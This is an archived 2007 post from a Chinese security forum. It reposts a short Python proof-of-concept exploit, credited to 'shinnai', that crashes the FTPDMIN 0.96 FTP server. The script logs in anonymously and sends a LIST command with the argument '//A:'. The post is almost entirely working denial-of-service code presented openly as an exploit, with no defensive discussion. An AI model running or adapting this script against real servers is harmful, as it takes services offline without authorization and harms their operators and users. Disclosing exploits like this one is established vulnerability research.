邪恶八进制信息安全团队技术讨论组's Archiver

pub!1c 2007-3-21 01:40

FTPDMIN 0.96 (LIST) Remote Denial of Service Exploit

[code]# usr/bin/python

import socket
import time

print
"-----------------------------------------------------------------------"
print "# FTPDMIN v. 0.96 LIST Denial of Service"
print "# url: [url]http://www.sentex.net/~mwandel/ftpdmin/[/url]"
print "# author: shinnai"
print "# mail: shinnai[at]autistici[dot]org"
print "# site: [url]http://shinnai.altervista.org[/url]"
print
"-----------------------------------------------------------------------\n"

buff = "//A:"

user = "anonymous"
password = "shinnai"

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:
  conn = s.connect(("127.0.0.1",21))
  d = s.recv(1024)
  print "Server <- " + d
  time.sleep(2)

  s.send(&#39;USER %s\r\n&#39; % user)
  print "Client -> USER " + user
  d = s.recv(1024)
  print "Server <- " + d
  time.sleep(2)

  s.send(&#39;PASS %s\r\n&#39; % password)
  print "Client -> PASS " + password
  d = s.recv(1024)
  print "Server <- " + d
  time.sleep(2)

  s.send(&#39;LIST %s\r\n&#39; % buff)
  print "Client -> LIST " + buff
  d = s.recv(1024)
  print d
  time.sleep(2)

except:
  print "- Unable to connect. exiting."

[/code]

页: [1]
© 1999-2008 EvilOctal Security Team